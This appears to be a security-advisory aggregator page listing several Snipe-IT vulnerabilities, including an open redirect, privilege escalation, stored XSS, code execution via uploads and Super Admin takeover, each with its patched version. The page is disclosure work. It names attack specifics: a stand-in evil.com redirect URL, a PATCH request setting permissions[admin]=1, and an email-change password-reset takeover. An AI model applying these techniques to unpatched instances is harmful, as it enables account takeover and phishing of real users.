AV:A/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Open redirect vulnerability in Snipe-IT allows attackers to redirect users to malicious sites via unvalidated HTTP Referer header stored in session variable.

Impact

- Phishing: Redirect users to fake login pages to steal credentials - Session Hijacking: Redirect to attacker site that captures session cookies via JavaScript - Malware Distribution: Redirect to sites hosting malware or drive-by downloads - Reputation Damage: Users lose trust when redirected to malicious sites from legitimate application - Social Engineering: Use trusted Snipe-IT domain to increase phishing success rate

When the user clicks "Save", the application: 1. Processes the form 2. Checks redirectoption (if set to 'back') 3. Calls Helper::getRedirectOption() 4. Retrieves backurl from session: https://evil.com/phishing?target=snipeit 5. Executes redirect()->to($backUrl) 6. User is redirected to attacker's site

This would still require session poisoning, so the actual practical threat here is minimal.

Patches Patched in https://github.com/grokability/snipe-it/commit/e37649212861a337e68a624e589c3540b7a82373, released in 8.4.1.

Workarounds None.

Resources - CWE-601: URL Redirection to Untrusted Site ('Open Redirect') - OWASP: Unvalidated Redirects and Forwards - Laravel Security: Safe Redirects

snipeitopenredirectsubmission.md

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact An authenticated user with only users.edit permission can escalate their own privileges to admin by sending a PATCH request to /api/v1/users/{id} with permissions[admin]=1. The API controller only strips the superuser key from the permissions array, allowing admin and all other permission keys to be set by any user who can update users.

Patches Patched in https://github.com/grokability/snipe-it/commit/ce18ff669ceb0f0349749fd5d11c1d3d40b10569, fix was released in v8.4.1

Workarounds None.

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
XSS
AV:A/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Impact Users with component view access could be impacted by an unescaped notes column.

Patches This was patched in https://github.com/grokability/snipe-it/commit/28f493d84d057895fbb93b6570e7393a2c2fa438, and is fixed in v8.4.1 or greater.

Workarounds None.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Insecure Permissions vulnerability in grokability snipe-it v.8.4.0 and before and fixed after 2026-03-10 commit 676a9958 allows a remote attacker to execute arbitrary code via the app/Http/Controllers/Api/UploadedFilesController.php component

1 / 2
Source: NVD
First published (updated )
Severity
6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

An improper authorization vulnerability in the /api/v1/users/{id} endpoint of Snipe-IT v8.4.0 allows authenticated attackers with the users.edit permission to modify sensitive authentication and account-state fields of other non-admin users via supplying a crafted PUT request.

First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Snipe-IT versions prior to 8.3.7 contain sensitive user attributes related to account privileges that are insufficiently protected against mass assignment. An authenticated, low-privileged user can craft a malicious API request to modify restricted fields of another user account, including the Super Admin account. By changing the email address of the Super Admin and triggering a password reset, an attacker can fully take over the Super Admin account, resulting in complete administrative control of the Snipe-IT instance.

First published (updated )
Severity
5.4
XSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Snipe-IT before 8.3.4 allows stored XSS, allowing a low-privileged authenticated user to inject JavaScript that executes in an administrator's session, enabling privilege escalation.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203